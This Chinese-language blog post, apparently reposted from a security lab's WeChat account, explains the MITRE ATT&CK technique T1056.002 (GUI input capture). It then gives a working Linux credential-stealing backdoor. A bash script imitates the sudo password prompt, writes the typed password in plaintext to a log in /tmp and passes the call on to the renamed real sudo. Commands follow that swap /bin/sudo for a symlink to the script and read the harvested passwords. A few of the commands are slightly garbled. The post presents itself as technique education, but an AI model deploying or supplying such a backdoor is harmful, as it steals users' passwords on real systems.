一、技术描述
在Mitre Att&ck框架中,T1056.002(图形界面输入捕获)技术位于“凭据访问”战术中,是T1056(输入捕获)技术的子技术。该技术的官方描述如下:
对手可能模仿常见的操作系统GUI组件,以看似合法的提示来要求用户提供凭证。当执行需要比当前用户上下文更多特权的程序时,操作系统通常会提示用户输入正确的凭证以授权任务所需的提升权限(例如:绕过用户账户控制)。
对手可能出于模仿正常使用的各种原因模仿这一功能,以看似合法的提示要求用户提供凭证,比如一个伪造的需要额外的访问权限的安装程序,或者一个伪造的恶意软件移除套件。这种类型的提示可以通过AppleScript和PowerShell等各种语言来收集凭证。在Linux系统中,对手可能从恶意shell脚本或命令行(即Unix Shell)启动对话框,提示用户输入凭据。
对手还可能模仿常见的软件认证请求,例如来自浏览器或电子邮件客户端的请求。这也可能与用户活动监控(即浏览器信息发现和/或应用程序窗口发现)相结合,在用户自然访问敏感站点/数据时伪造提示。
二、技术实现
以在Linux系统中通过冒充sudo程序偷窃用户登录密码为例,简单说明T1056.002技术的实现方法。
攻击者入侵到目标主机后,假设当前已经提权到root,可以查看所有用户的口令hash。但是拿到了hash也不一定能破解出来,此时可通过欺骗的方式获取其他用户的登录密码明文。
(一)创建后门脚本
//创建一个名为backdoor_sudo.sh的脚本文件
cd /tmp
vi backdoor_sudo.sh //编辑文件,加入下面的内容
#!/bin/bash
# 指定日志文件路径
LOG_FILE="/tmp/sudo_passwords.log"
# 提示用户输入密码,并执行捕获
read -s -p "密码: " password
echo
# 将密码写入日志文件
echo "$(date): User $(whoami) use sudo with $password" >> $LOG_FILE
# 调用真实的sudo命令
exec /bin/sudo.original "$@"
保存退出
//赋予执行权限
chmod +x backdoor_sudo.sh
(二)部署后门脚本
1、替换系统中的su命令
为了使后门脚本生效,需要将系统中的su命令替换为后门脚本。
//sudo程序改名
sudo mv /bin/sudo /bin/sudo.original
//为冒充的sudo创建符号链接
/bin/sudo.original ln -s /tmp/backdoor_sudo.sh /bin/sudo
2、查看获取的口令
用户中招后,密码会写入日志文件:
cat /tmp/sudo_passwords.log
(三)恢复原始sudo命令
//删除符号链接
sudo rm /bin/sudo
//恢复sudo命令
sudo.original mv /bin/sudo.original /bin/sudo
//删除后门文件
rm -rf /tmp/backdoor_sudo.sh
rm -rf /tmp/sudo_passwords.log
三、总结
还可以制作冒充su程序的后门,来获取root的明文口令。方法类似,这里不再赘述。
原文始发于微信公众号(新蜂网络安全实验室):Mitre_Att&ck框架T1056.002(图形界面输入捕获)的简单实现
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论